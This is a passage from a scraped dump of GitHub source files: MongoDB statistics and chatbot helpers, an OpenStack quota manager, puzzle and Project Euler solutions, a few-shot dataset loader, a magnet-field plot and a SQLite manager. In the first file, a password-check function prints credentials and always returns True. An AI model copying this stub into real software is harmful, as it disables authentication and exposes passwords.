results.append(obj)\n result[\"tongji_result\"] = results\n result[\"count\"] = len(Size)\n return result\n\n\n# 价格分布信息统计\ndef get_jiage_tongji():\n db = mongo_client.soubu\n db_name = \"product_list\"\n result = {}\n Price = []\n data = list(db[db_name].find({}))\n for i in data:\n Price.append(float(i[\"price\"]))\n d = {\n 'Price': pd.Series(Price)\n }\n df = pd.DataFrame(d)\n df = df.groupby(\"Price\").size()\n col = df.iloc[:]\n num = []\n time = []\n arrs = col.values\n for j in arrs:\n time.append(int(j))\n for k in col.keys():\n num.append(k)\n results = {}\n results[\"time\"] = num\n results[\"num\"] = time\n result[\"date_result\"] = results\n return result\n\n# 聊天问题入库\ndef noanswer_question(question):\n db = mongo_client.chatbot\n db_name = \"noanswer\"\n data = {\n \"question\": question\n }\n if len(list(db[db_name].find({\"question\": question}))) < 1:\n db[db_name].insert(data)\n\n\n# 聊天接口\ndef chat_with_me(question):\n db = mongo_client.chatbot\n db_name = \"dsj\"\n data = list(db[db_name].find({\"question\": {\"$regex\": question}}, {\"_id\": 0}))\n if len(data) == 0:\n noanswer_question(question)\n data = [\n {\n \"question\": question,\n \"answer\": \"对不起,已经交给工程师龙爸爸在处理了,或者您也可以教教小龙呢!\"\n }\n ]\n dafu = {}\n dafu[\"content\"] = data\n return dafu\n\n# 密码验证\ndef check_name_pass(username, password):\n print(\"8888888888\", username, password)\n return True\n # client = MongoClient('127.0.0.1', 27017)\n # db = client.local\n # result = list(db.userName.find({\"en_name\": username}))\n # if (len(result) > 0) and result[0][\"password\"] == password:\n # return True\n # else:\n # return False\n","repo_name":"andyrenpanlong/spider_monitor_bigdata","sub_path":"spider_monitor_bigdata/search_data.py","file_name":"search_data.py","file_ext":"py","file_size_in_byte":7053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71926223235","text":"from adjutant.config import CONF\nfrom adjutant.common import openstack_clients\n\n\nclass QuotaManager(object):\n \"\"\"\n A manager to allow easier updating and access to quota information\n across all services.\n \"\"\"\n\n default_size_diff_threshold = 0.2\n\n class ServiceQuotaHelper(object):\n def set_quota(self, values):\n self.client.quotas.update(self.project_id, **values)\n\n class ServiceQuotaCinderHelper(ServiceQuotaHelper):\n def __init__(self, region_name, project_id):\n self.client = openstack_clients.get_cinderclient(region=region_name)\n self.project_id = project_id\n\n def get_quota(self):\n return self.client.quotas.get(self.project_id).to_dict()\n\n def get_usage(self):\n volumes = self.client.volumes.list(\n search_opts={\"all_tenants\": 1, \"project_id\": self.project_id}\n )\n snapshots = self.client.volume_snapshots.list(\n search_opts={\"all_tenants\": 1, \"project_id\": self.project_id}\n )\n\n # gigabytesUsed should be a total of volumes and snapshots\n gigabytes = sum([getattr(volume, \"size\", 0) for volume in volumes])\n gigabytes += sum([getattr(snap, \"size\", 0) for snap in snapshots])\n\n return {\n \"gigabytes\": gigabytes,\n \"volumes\": len(volumes),\n \"snapshots\": len(snapshots),\n }\n\n class ServiceQuotaNovaHelper(ServiceQuotaHelper):\n def __init__(self, region_name, project_id):\n self.client = openstack_clients.get_novaclient(region=region_name)\n self.project_id = project_id\n\n def get_quota(self):\n return self.client.quotas.get(self.project_id).to_dict()\n\n def get_usage(self):\n nova_usage = self.client.limits.get(tenant_id=self.project_id).to_dict()[\n \"absolute\"\n ]\n nova_usage_keys = [\n (\"instances\", \"totalInstancesUsed\"),\n (\"floating_ips\", \"totalFloatingIpsUsed\"),\n (\"ram\", \"totalRAMUsed\"),\n (\"cores\", \"totalCoresUsed\"),\n (\"security_groups\", \"totalSecurityGroupsUsed\"),\n ]\n\n nova_usage_dict = {}\n for key, usage_key in nova_usage_keys:\n nova_usage_dict[key] = nova_usage[usage_key]\n\n return nova_usage_dict\n\n class ServiceQuotaNeutronHelper(ServiceQuotaHelper):\n def __init__(self, region_name, project_id):\n self.client = openstack_clients.get_neutronclient(region=region_name)\n self.project_id = project_id\n\n def set_quota(self, values):\n body = {\"quota\": values}\n self.client.update_quota(self.project_id, body)\n\n def get_usage(self):\n networks = self.client.list_networks(tenant_id=self.project_id)[\"networks\"]\n routers = self.client.list_routers(tenant_id=self.project_id)[\"routers\"]\n floatingips = self.client.list_floatingips(tenant_id=self.project_id)[\n \"floatingips\"\n ]\n ports = self.client.list_ports(tenant_id=self.project_id)[\"ports\"]\n subnets = self.client.list_subnets(tenant_id=self.project_id)[\"subnets\"]\n security_groups = self.client.list_security_groups(\n tenant_id=self.project_id\n )[\"security_groups\"]\n security_group_rules = self.client.list_security_group_rules(\n tenant_id=self.project_id\n )[\"security_group_rules\"]\n\n return {\n \"network\": len(networks),\n \"router\": len(routers),\n \"floatingip\": len(floatingips),\n \"port\": len(ports),\n \"subnet\": len(subnets),\n \"security_group\": len(security_groups),\n \"security_group_rule\": len(security_group_rules),\n }\n\n def get_quota(self):\n return self.client.show_quota(self.project_id)[\"quota\"]\n\n class ServiceQuotaOctaviaHelper(ServiceQuotaNeutronHelper):\n def __init__(self, region_name, project_id):\n self.client = openstack_clients.get_octaviaclient(region=region_name)\n self.project_id = project_id\n\n def get_quota(self):\n project_quota = self.client.quota_show(project_id=self.project_id)\n\n # NOTE(amelia): Instead of returning the default quota if ANY\n # of the quotas are the default, the endpoint\n # returns None\n default_quota = None\n for name, quota in project_quota.items():\n if quota is None:\n if not default_quota:\n default_quota = self.client.quota_defaults_show()[\"quota\"]\n project_quota[name] = default_quota[name]\n\n return project_quota\n\n def set_quota(self, values):\n self.client.quota_set(self.project_id, json={\"quota\": values})\n\n def get_usage(self):\n usage = {}\n usage[\"load_balancer\"] = len(\n self.client.load_balancer_list(project_id=self.project_id)[\n \"loadbalancers\"\n ]\n )\n usage[\"listener\"] = len(\n self.client.listener_list(project_id=self.project_id)[\"listeners\"]\n )\n\n pools = self.client.pool_list(project_id=self.project_id)[\"pools\"]\n usage[\"pool\"] = len(pools)\n\n members = []\n for pool in pools:\n members += pool[\"members\"]\n\n usage[\"member\"] = len(members)\n usage[\"health_monitor\"] = len(\n self.client.health_monitor_list(project_id=self.project_id)[\n \"healthmonitors\"\n ]\n )\n return usage\n\n class ServiceQuotaTroveHelper(ServiceQuotaHelper):\n def __init__(self, region_name, project_id):\n self.client = openstack_clients.get_troveclient(region=region_name)\n self.project_id = project_id\n\n def get_quota(self):\n project_quota = self.client.quota.show(self.project_id)\n\n quotas = {}\n for quota in project_quota:\n quotas[quota.resource] = quota.limit\n return quotas\n\n def set_quota(self, values):\n self.client.quota.update(self.project_id, values)\n\n def get_usage(self):\n project_quota = self.client.quota.show(self.project_id)\n\n usage = {}\n for quota in project_quota:\n usage[quota.resource] = quota.in_use\n\n return usage\n\n _quota_updaters = {\n \"cinder\": ServiceQuotaCinderHelper,\n \"nova\": ServiceQuotaNovaHelper,\n \"neutron\": ServiceQuotaNeutronHelper,\n \"octavia\": ServiceQuotaOctaviaHelper,\n \"trove\": ServiceQuotaTroveHelper,\n }\n\n def __init__(self, project_id, size_difference_threshold=None):\n # TODO(amelia): Try to find out which endpoints are available and get\n # the non enabled ones out of the list\n\n self.default_helpers = dict(self._quota_updaters)\n self.helpers = {}\n\n quota_services = dict(CONF.quota.services)\n\n all_regions = quota_services.pop(\"*\", None)\n if all_regions:\n self.default_helpers = {}\n for service in all_regions:\n if service in self._quota_updaters:\n self.default_helpers[service] = self._quota_updaters[service]\n\n for region, services in quota_services.items():\n self.helpers[region] = {}\n for service in services:\n if service in self._quota_updaters:\n self.helpers[region][service] = self._quota_updaters[service]\n\n self.project_id = project_id\n self.size_diff_threshold = (\n size_difference_threshold or self.default_size_diff_threshold\n )\n\n def get_current_region_quota(self, region_id):\n current_quota = {}\n\n region_helpers = self.helpers.get(region_id, self.default_helpers)\n for name, service in region_helpers.items():\n helper = service(region_id, self.project_id)\n current_quota[name] = helper.get_quota()\n\n return current_quota\n\n def get_quota_differences(self, current_quota):\n \"\"\"Gets the closest matching quota size for a given quota\"\"\"\n quota_differences = {}\n for size, setting in CONF.quota.sizes.items():\n match_percentages = []\n for service_name, values in setting.items():\n if service_name not in current_quota:\n continue\n for name, value in values.items():\n if name not in current_quota[service_name]:\n continue\n if value > 0:\n current = current_quota[service_name][name]\n dividend = float(min(current, value))\n divisor = float(max(current, value))\n match_percentages.append(dividend / divisor)\n elif value < 0:\n # NOTE(amelia): Sub-zero quota means unlimited\n if current_quota[service_name][name] < 0:\n match_percentages.append(1.0)\n else:\n match_percentages.append(0.0)\n elif current_quota[service_name][name] == 0:\n match_percentages.append(1.0)\n else:\n match_percentages.append(0.0)\n # Calculate the average of how much it matches the setting\n difference = abs(\n (sum(match_percentages) / float(len(match_percentages))) - 1\n )\n\n quota_differences[size] = difference\n\n return quota_differences\n\n def get_quota_size(self, current_quota, difference_threshold=None):\n \"\"\"Gets the closest matching quota size for a given quota\"\"\"\n quota_differences = self.get_quota_differences(current_quota)\n\n diff_threshold = difference_threshold or self.size_diff_threshold\n\n quota_differences_pruned = {}\n for size, difference in quota_differences.items():\n if difference <= diff_threshold:\n quota_differences_pruned[size] = difference\n\n if len(quota_differences_pruned) > 0:\n return min(quota_differences_pruned, key=quota_differences_pruned.get)\n # If we don't get a match return custom which means the project will\n # need admin approval for any change\n return \"custom\"\n\n def get_quota_change_options(self, quota_size):\n \"\"\"Get's the pre-approved quota change options for a given size\"\"\"\n quota_list = CONF.quota.sizes_ascending\n try:\n list_position = quota_list.index(quota_size)\n except ValueError:\n return []\n\n quota_change_list = quota_list[:list_position]\n\n if list_position + 1 < len(quota_list):\n quota_change_list.append(quota_list[list_position + 1])\n\n return quota_change_list\n\n def get_smaller_quota_options(self, quota_size):\n \"\"\"Get the quota sizes smaller than the current size.\"\"\"\n quota_list = CONF.quota.sizes_ascending\n try:\n list_position = quota_list.index(quota_size)\n except ValueError:\n return []\n\n return quota_list[:list_position]\n\n def get_region_quota_data(self, region_id, include_usage=True):\n current_quota = self.get_current_region_quota(region_id)\n current_quota_size = self.get_quota_size(current_quota)\n change_options = self.get_quota_change_options(current_quota_size)\n\n region_data = {\n \"region\": region_id,\n \"current_quota\": current_quota,\n \"current_quota_size\": current_quota_size,\n \"quota_change_options\": change_options,\n }\n\n if include_usage:\n region_data[\"current_usage\"] = self.get_current_usage(region_id)\n\n return region_data\n\n def get_current_usage(self, region_id):\n current_usage = {}\n\n region_helpers = self.helpers.get(region_id, self.default_helpers)\n for name, service in region_helpers.items():\n helper = service(region_id, self.project_id)\n current_usage[name] = helper.get_usage()\n return current_usage\n\n def set_region_quota(self, region_id, quota_dict):\n notes = []\n for service_name, values in quota_dict.items():\n updater_class = self.helpers.get(region_id, self.default_helpers).get(\n service_name\n )\n if not updater_class:\n notes.append(\"No quota updater found for %s. Ignoring\" % service_name)\n continue\n\n service_helper = updater_class(region_id, self.project_id)\n\n service_helper.set_quota(values)\n return notes\n","repo_name":"openstack/adjutant","sub_path":"adjutant/common/quota.py","file_name":"quota.py","file_ext":"py","file_size_in_byte":13056,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"61"} +{"seq_id":"12692607819","text":"# Problem Link : https://www.hackerearth.com/practice/algorithms/graphs/breadth-first-search/practice-problems/algorithm/waves-b18625d7/\n\ndx = [-1,-1,0,1,1,1,0,-1]\ndy = [0,1,1,1,0,-1,-1,-1]\n\ndef solve(A,B,C,D):\n res = [[0]*1000 for i in range(1000) ]\n visited = [[0]*1000 for i in range(1000) ]\n Q = [(C,D)]\n visited[C][D] = 1\n\n while len(Q) != 0:\n cx,cy = Q[0][0], Q[0][1]\n Q.pop(0)\n\n for i in range(8):\n x = cx + dx[i]\n y = cy + dy[i]\n if (x<0 or x>A or y<0 or y>B) or visited[x][y] == 1:\n continue\n else:\n res[x][y] = res[cx][cy] + 1\n visited[x][y] = 1\n Q.append((x,y))\n for i in range(A):\n for j in range(B):\n print(res[i][j], end = \" \")\n print()\n\n\n\nif __name__ == '__main__':\n A,B,C,D = map(int,input().split())\n solve(A,B,C,D)\n","repo_name":"maheshgm/ProgrammingGym","sub_path":"Feb-28-22/PrintingPatterns.py","file_name":"PrintingPatterns.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23594750231","text":"import sys\n\ndef find_char(line, line_index, magic_index):\n magic_str = \"welcome to code jam\"\n\n found = 0\n new_index = line.find(magic_str[magic_index], line_index)\n while new_index != -1:\n if magic_index == 18:\n found += 1\n else:\n found += find_char(line, new_index+1, magic_index+1)\n if found > 10000:\n found -= 10000\n # search from the next character after the one we found\n new_index += 1\n new_index = line.find(magic_str[magic_index], new_index)\n\n return found\n\n\n#####################\n# Main code\n#####################\nnum_tests = int(sys.stdin.readline())\n\nfor ii in range(num_tests):\n line = sys.stdin.readline()\n\n line_index = 0\n magic_index = 0\n\n matches = find_char(line, line_index, magic_index)\n\n print(\"Case #\" + str(ii+1) + \": {0:0=4}\".format(matches))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_36/275.py","file_name":"275.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5846049406","text":"\"\"\"\n\nThe number, 197, is called a circular prime because all rotations of the digits:\n 197, 971, and 719, are themselves prime.\n\nThere are thirteen such primes below 100: 2, 3, 5, 7, 11, 13, 17, 31, 37, 71, 73, 79, and 97.\n\nHow many circular primes are there below one million?\nFind the sum of circular primes that are below N?\n\n\"\"\"\nimport itertools\nimport math\nfrom functools import reduce\nfrom typing import Iterator, Iterable\n\n\ndef divisors(num: int, *, start: int = 2, ordered: bool = False, step: int = 1) -> Iterator[int]:\n \"\"\"\n Get all number divisors starting from start.\n Faster (sqrt(n) operations) than scanning all numbers using:\n divisors = (i for i in range(start, n) if n % mod i == 0).\n :param step: step for verifying sequence of divisors (1= all numbers, 2 - odd numbers)\n :param num: number for which we yields divisors\n :param ordered: if True divisors yields in increasing order\n using list keeping half of the divisors.\n For ordered=True risk of memory overflow for huge numbers with few thousands digits\n :param start: starting number for divisor.\n Most frequent use:\n start=2 yields all divisors excluding 1 and n - it will contains nothing for prime num\n start=1 yields all divisors including 1 and n - it will contain 1 and num for prime num\n start is used for step by step number factorization\n (finding number representation as prime number product)\n :yields: num divisors\n \"\"\"\n\n def _divisors():\n # Step 1:\n # Process divisible by 1 only when start == 1\n if start == 1:\n yield 1\n # prevent yield duplicate when num == 1\n if num > 1:\n yield num\n\n # Step 2:\n # Process divisibility in up to sqrt_num[+1]\n # - from 2 (1 already processed) or from start if greater then 2\n # - to sqrt_num if sqrt_num is exact square of num or once more otherwise\n for next_num in range(max(2, start), sqrt_num + no_int_sqrt, step):\n if num % next_num == 0:\n yield next_num\n yield num // next_num\n\n # Step 3:\n # Process when sqrt_num is exact sqrt of num except 1 which was already processed in step 1\n if no_int_sqrt == 0 and num > 1:\n yield sqrt_num\n\n def _sorted(iterable: Iterable[int]):\n # Divisor are not generated in sorted order. E.g. for 12 it is: 1, 12, 2, 6, 3, 4.\n # Odd elements are increasing, even elements are decreasing\n # Make stack for half of divisors if ordered list of divisors is requested\n divisors_stack: list[int] = []\n iterator = iter(iterable)\n\n try:\n previous = next(iterator)\n except StopIteration:\n return\n\n for current in iterator:\n if previous > current:\n # Send even element on stack\n divisors_stack.append(previous)\n else:\n # Yield odd element\n yield previous\n previous = current\n # Yield last ordered element\n yield previous\n\n # Yield elements from stack\n for divisor in reversed(divisors_stack):\n yield divisor\n\n assert num > 0, \"divisors iterator works with num > 0\"\n assert start > 0, \"divisors iterator works with start > 0\"\n\n # find divisors until sqrt(num)\n sqrt_num: int = int(math.sqrt(num))\n # Is exact num sqrt?\n if sqrt_num * sqrt_num == num:\n no_int_sqrt = 0\n else:\n no_int_sqrt = 1\n\n if ordered:\n yield from _sorted(_divisors())\n else:\n yield from _divisors()\n\n\ndef prime_divisors(num: int) -> Iterator[int]:\n \"\"\"\n Get all num prime divisors.\n :param num: number for which we yields prime divisors\n :yields: num prime divisors\n \"\"\"\n assert num > 0\n\n if num == 1:\n yield 1\n\n while num % 2 == 0:\n yield 2\n num >>= 1\n # start scan with 3 and step = 2\n scan_start: int = 3\n while num > 1:\n try:\n # try to get first prospect prime\n scan_start = next(divisors(num, start=scan_start, step=2))\n except StopIteration:\n # if no divisors, means num is prime\n scan_start = num\n yield scan_start\n num //= scan_start\n\n\ndef is_prime(num: int) -> bool:\n \"\"\"\n Verify if num is prime\n :param num:\n :return: True if prime, False otherwise\n \"\"\"\n assert num >= 1\n\n if num == 1:\n return False\n\n if num == 2:\n return True\n\n if num % 2 == 0:\n return False\n\n for _ in divisors(num, start=3, step=2):\n # try to get first divisor\n return False\n\n # if no divisors, than prime\n return True\n\n\ndef eval(num):\n return reduce(lambda x, y: x*10 + y, num)\n\n\ndef gen_numbers(n):\n digits_of_n = len(str(n))\n yield 2\n for num_of_digits in range(1, digits_of_n + 1):\n for num in itertools.product([1, 3, 5, 7, 9], repeat=num_of_digits):\n value = eval(num)\n if value < n:\n yield value\n else:\n return\n\n\ndef is_circular(i):\n i_str = str(i)\n ok = False\n for i in range(len(i_str)):\n num = i_str[i:] + i_str[:i]\n if not is_prime(int(num)):\n return False\n return True\n\n\ndef gen_circular_primes(n):\n for i in gen_numbers(n):\n if is_circular(i):\n yield i\n\n\ncircular = list(gen_circular_primes(10**6))\nprint(len(circular))\nn = int(input())\nprint(sum(gen_circular_primes(n)))\n","repo_name":"mqq-marek/ProjectEuler","sub_path":"ProjectEuler/Problems_001_050/P035_CircularPrimes.py","file_name":"P035_CircularPrimes.py","file_ext":"py","file_size_in_byte":5573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7019666822","text":"import torch\nfrom torchvision import transforms\n\nfrom torchmeta.datasets import MiniImagenet, TieredImagenet, CUB\nfrom torchmeta.transforms import ClassSplitter, Categorical\n\nfrom data.cars import CARS\nfrom data.pose import Pascal1D\nfrom data.shapenet1d import ShapeNet1D\n\nDATA_PATH = '/data'\n\n\nclass ToTensor1D(object):\n \"\"\"Convert a `numpy.ndarray` to tensor. Unlike `ToTensor` from torchvision,\n this converts numpy arrays regardless of the number of dimensions.\n Converts automatically the array to `float32`.\n \"\"\"\n def __call__(self, array):\n return torch.from_numpy(array.astype('float32'))\n\n def __repr__(self):\n return self.__class__.__name__ + '()'\n\n\ndef resize_transform(resize_size):\n transform = transforms.Compose([\n transforms.Resize(resize_size),\n transforms.ToTensor()\n ])\n return transform\n\n\ndef get_meta_dataset(P, dataset, only_test=False):\n \"\"\"\n Load dataloaders for an image dataset, center-cropped to a resolution.\n \"\"\"\n\n dataset_transform = ClassSplitter(shuffle=True,\n num_train_per_class=P.num_shots,\n num_test_per_class=P.num_shots_test + P.num_shots_global)\n dataset_transform_test = ClassSplitter(shuffle=True,\n num_train_per_class=P.num_shots,\n num_test_per_class=P.num_shots_test)\n\n if 'protonet' in P.mode:\n train_num_ways = P.train_num_ways\n else:\n train_num_ways = P.num_ways\n\n if dataset == 'miniimagenet':\n transform = resize_transform(84)\n\n meta_train_dataset = MiniImagenet(DATA_PATH,\n transform=transform,\n target_transform=Categorical(train_num_ways),\n num_classes_per_task=train_num_ways,\n meta_train=True,\n dataset_transform=dataset_transform,\n download=True)\n meta_val_dataset = MiniImagenet(DATA_PATH,\n transform=transform,\n target_transform=Categorical(P.num_ways),\n num_classes_per_task=P.num_ways,\n meta_val=True,\n dataset_transform=dataset_transform_test)\n meta_test_dataset = MiniImagenet(DATA_PATH,\n transform=transform,\n target_transform=Categorical(P.num_ways),\n num_classes_per_task=P.num_ways,\n meta_test=True,\n dataset_transform=dataset_transform_test)\n\n elif dataset == 'tieredimagenet':\n transform = resize_transform(84)\n\n meta_train_dataset = TieredImagenet(DATA_PATH,\n transform=transform,\n target_transform=Categorical(train_num_ways),\n num_classes_per_task=train_num_ways,\n meta_train=True,\n dataset_transform=dataset_transform,\n download=True)\n meta_val_dataset = TieredImagenet(DATA_PATH,\n transform=transform,\n target_transform=Categorical(P.num_ways),\n num_classes_per_task=P.num_ways,\n meta_val=True,\n dataset_transform=dataset_transform_test)\n meta_test_dataset = TieredImagenet(DATA_PATH,\n transform=transform,\n target_transform=Categorical(P.num_ways),\n num_classes_per_task=P.num_ways,\n meta_test=True,\n dataset_transform=dataset_transform_test)\n\n elif dataset == 'cub':\n assert only_test\n transform = transforms.Compose([\n transforms.Resize(int(84 * 1.5)),\n transforms.CenterCrop(84),\n transforms.ToTensor()\n ])\n\n meta_test_dataset = CUB(DATA_PATH,\n transform=transform,\n target_transform=Categorical(P.num_ways),\n num_classes_per_task=P.num_ways,\n meta_test=True,\n dataset_transform=dataset_transform_test)\n\n elif dataset == 'cars':\n assert only_test\n transform = resize_transform(84)\n meta_test_dataset = CARS(DATA_PATH,\n transform=transform,\n target_transform=Categorical(P.num_ways),\n num_classes_per_task=P.num_ways,\n meta_test=True,\n dataset_transform=dataset_transform_test)\n\n elif dataset == 'shapenet':\n P.regression = True\n P.num_ways = 2\n meta_train_dataset = ShapeNet1D(path=f'{DATA_PATH}/ShapeNet1D',\n img_size=[128, 128, 1],\n seed=P.seed,\n source='train',\n shot=P.num_shots,\n tasks_per_batch=P.batch_size)\n\n meta_val_dataset = ShapeNet1D(path=f'{DATA_PATH}/ShapeNet1D',\n img_size=[128, 128, 1],\n seed=P.seed,\n source='val',\n shot=P.num_shots,\n tasks_per_batch=P.batch_size)\n\n meta_test_dataset = ShapeNet1D(path=f'{DATA_PATH}/ShapeNet1D',\n img_size=[128, 128, 1],\n seed=P.seed,\n source='test',\n shot=P.num_shots,\n tasks_per_batch=P.batch_size)\n\n elif dataset == 'pose':\n P.regression = True\n P.num_ways = 1\n meta_train_dataset = Pascal1D(path=f'{DATA_PATH}/Pascal1D',\n img_size=[128, 128, 1],\n seed=P.seed,\n source='train',\n shot=P.num_shots,\n tasks_per_batch=P.batch_size)\n\n meta_val_dataset = Pascal1D(path=f'{DATA_PATH}/Pascal1D',\n img_size=[128, 128, 1],\n seed=P.seed,\n source='val',\n shot=P.num_shots,\n tasks_per_batch=P.batch_size)\n\n meta_test_dataset = meta_val_dataset\n\n else:\n raise NotImplementedError()\n\n if only_test:\n return meta_test_dataset\n\n return meta_train_dataset, meta_val_dataset\n","repo_name":"jihoontack/SiMT","sub_path":"data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":7542,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"28863273876","text":"#evaluate 'as long as the test expression is True'\n#syntax: while testexpression: then body\n# can have an infinite loop(loop that doesn't terminate)-put break so that it doesn't run infinitely\n#e.g\n# while True:\n# print(\"its true\")\n#\n# while False:\n# print(\"its true\")\n\n# i=1\n# while i<=10:\n# print(i)\n# i+=1 #i=i+1\n# i=1\n# while i>=1:\n# print(i)\n# i-=1\nimport random\nrandomNum = random.randint(1,21)\nprint(randomNum)\nstart = 1\nwhile start<=5:\n guess = int(input('Guess a number:'))\n if randomNum!=guess:\n print('Wrong! Try again')\n start+=1\n else:\n print('Yeeees!!!!Correct!!!')\n break\n# modify above to show how close you are to the answer\n\n\n\n","repo_name":"juneyc/ptyhon-class1_2020","sub_path":"whileloops.py","file_name":"whileloops.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72963686593","text":"\"\"\"\nCCT 建模优化代码\n工具集\n\n作者:赵润晓\n日期:2021年6月7日\n\"\"\"\n\nimport os\nimport sys\ncurPath = os.path.abspath(os.path.dirname(__file__))\nrootPath = os.path.split(curPath)[0]\nPathProject = os.path.split(rootPath)[0]\nsys.path.append(rootPath)\nsys.path.append(PathProject)\n\nfrom cctpy import *\n\nfringe = 60\nR = 0.95\nbl = ( \n Beamline.set_start_point(start_point=P2(\n R, BaseUtils.angle_to_radian(-fringe)*R))\n .first_drift(P2.y_direct(), BaseUtils.angle_to_radian(fringe)*R)\n .append_agcct(\n big_r=R,\n small_rs=[140.5*MM + 0.1*MM, 124.5*MM+ 0.1*MM, 108.5*MM+ 0.1*MM, 92.5*MM+ 0.1*MM],\n bending_angles=[-67.5*25/(25+40+34), -67.5*40/(25+40+34), -67.5*34/(25+40+34)], # [15.14, 29.02, 23.34]\n tilt_angles=[[30.0, 88.8, 98.1, 91.7],\n [101.8, 30.0, 62.7, 89.7]],\n winding_numbers=[[128], [25, 40, 34]],\n currents=[9409.261,\t-7107.359],\n disperse_number_per_winding=36\n )\n .append_drift(BaseUtils.angle_to_radian(fringe)*R)\n)\n\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import rc\nrc('mathtext', default='regular')\n\n# 2.355T\n# 17.45T/m\n\nfontsize=36\n\n# 二极CCT硬边\nx1 =BaseUtils.list_multiply(BaseUtils.angle_to_radian([-fringe, 0.0, 0.0, 67.5, 67.5, 67.5+fringe]),R)\ny1 = [0.0, 0.0, 2.355, 2.355, 0.0, 0.0]\n\n# 四极CCT硬边\ng = -14.54\ncct1_ang = 3.7164+8\ncct2_ang = 19.93897+8\ncct3_ang = 19.844626+8\nx2 = BaseUtils.list_multiply(BaseUtils.angle_to_radian([-fringe, 0.0, 0.0, cct1_ang, cct1_ang, cct1_ang+cct2_ang, cct1_ang+cct2_ang, 67.5, 67.5, 67.5+fringe]),R)\ny2 = [0.0, 0.0, -g, -g, g, g, -g, -g, 0.0, 0.0]\n\n# 二极CCT\nbz = bl.magnetic_field_bz_along(step=10*MM)\nx3=numpy.array(P2.extract_x(bz))-BaseUtils.angle_to_radian(fringe)*R\ny3=P2.extract_y(bz)\n\n# 四极\ng = bl.graident_field_along(step=10*MM)\nx4=numpy.array(P2.extract_x(bz))-BaseUtils.angle_to_radian(fringe)*R\ny4=P2.extract_y(g)\n\nfig = plt.figure()\nax = fig.add_subplot(111)\n\nlns1 = ax.plot(x1, y1, 'r--',linewidth=3, label = '二极CCT(硬边模型)')\nlns2 = ax.plot(x3, y3, 'k-',linewidth=3, label = '二极CCT(实际磁场)')\nax2 = ax.twinx()\nlns3 = ax.plot(x2, y2, 'r--',linewidth=3, label = 'AG-CCT (SCOFF)')\nlns4 = ax.plot(x4, y4, 'k-',linewidth=3, label = 'AG-CCT')\n\nlns = lns1+lns2+lns3+lns4\nlabs = [l.get_label() for l in lns]\nax.legend(lns, labs, prop={'size': 25,'family':\"宋体\"},loc='lower right')\n\nax.grid()\n\nax.yaxis.label.set_color('k')\nax.tick_params(axis='y', colors='k')\n\nax2.yaxis.label.set_color('b')\nax2.tick_params(axis='y', colors='b')\n\nax.set_xlabel(\"偏转角度(°)\", fontdict={'size':fontsize})\nax.set_ylabel(\"dipole field(T)\", fontdict={'size':fontsize})\nax2.set_ylabel(\"quadrupole gradient(T/m)\", fontdict={'size':fontsize})\n\n\nax.tick_params(labelsize=fontsize)\nax2.tick_params(labelsize=fontsize)\n\nax.set_ylim(-20,20)\nax2.set_ylim(-40, 40)\nax.set_xlim(-1,2)\n\nplt.show()","repo_name":"madokast/cctpy","sub_path":"final_code/工具集/AGCCT磁场分布.py","file_name":"AGCCT磁场分布.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72557553474","text":"import logging\nimport sqlite3\nimport sys\nimport os.path\n\n\nclass CSDataManager():\n\n records = {}\n index = 0\n connection = None\n cursor = None\n logger = logging.getLogger('http_server.data_manager')\n sql_descriptor = None\n\n # ----------------------------------------------------------------------------------------\n\n def __init__(self, *args):\n\n try:\n self.logger.debug('Connecting to database.')\n self.connection = sqlite3.connect('server.db')\n self.connection.row_factory = sqlite3.Row\n self.logger.debug('Database connection established.')\n except Exception as e:\n msg = \"Error: Unable to connect to database. \" + str(e.args[0])\n self.logger.error(msg)\n sys.exit(1)\n\n try:\n self.cursor = self.connection.cursor()\n\n sql = \"SELECT name FROM sqlite_master WHERE type='table' AND name='init';\"\n self.cursor.execute(sql)\n if (self.cursor.fetchone() is None):\n self.init_database()\n except Exception as e:\n self.connection.close()\n msg = \"Error: Unable to initialize data manager. \" + str(e.args[0])\n self.logger.error(msg)\n sys.exit(1)\n\n # ----------------------------------------------------------------------------------------\n\n def get_resource(self, resource, params):\n raise Exception(\"Method must be overriden\")\n\n # ----------------------------------------------------------------------------------------\n\n def post_resource(self, resource, data):\n raise Exception(\"Method must be overriden\")\n\n # ----------------------------------------------------------------------------------------\n\n def init_database(self):\n self.logger.debug('Initializing database.')\n sql = self.load_file('sql/create_db.sql').split('\\n')\n\n self.cursor.execute('begin')\n\n for statement in sql:\n self.logger.debug('Executing statement: ' + str(statement))\n self.cursor.execute(statement)\n\n self.connection.commit()\n\n self.logger.debug('Database initialization complete.')\n\n # ----------------------------------------------------------------------------------------\n\n def load_file(self, file_name):\n if (os.path.isfile(file_name) is False):\n msg = 'Unable to find database script: ' + str(file_name)\n self.logger.error(msg)\n sys.exit(1)\n\n try:\n f = open(file_name)\n with f:\n data = f.read()\n return data\n except IOError as e:\n msg = \"Error: Unable to read sql script \" + str(file_name) + \". \" + str(e.args[0])\n self.logger.error(msg)\n sys.exit(1)\n","repo_name":"bocasfx/MobileApp","sub_path":"server/CSDataManager.py","file_name":"CSDataManager.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16270224559","text":"def test():\n forest = []\n with open(\"test.txt\", \"r\") as f:\n for line in f.readlines():\n forest.append(line.rstrip())\n\n for i in range(1, len(forest) - 1, 1):\n for j in range(1, len(forest[i]) - 1, 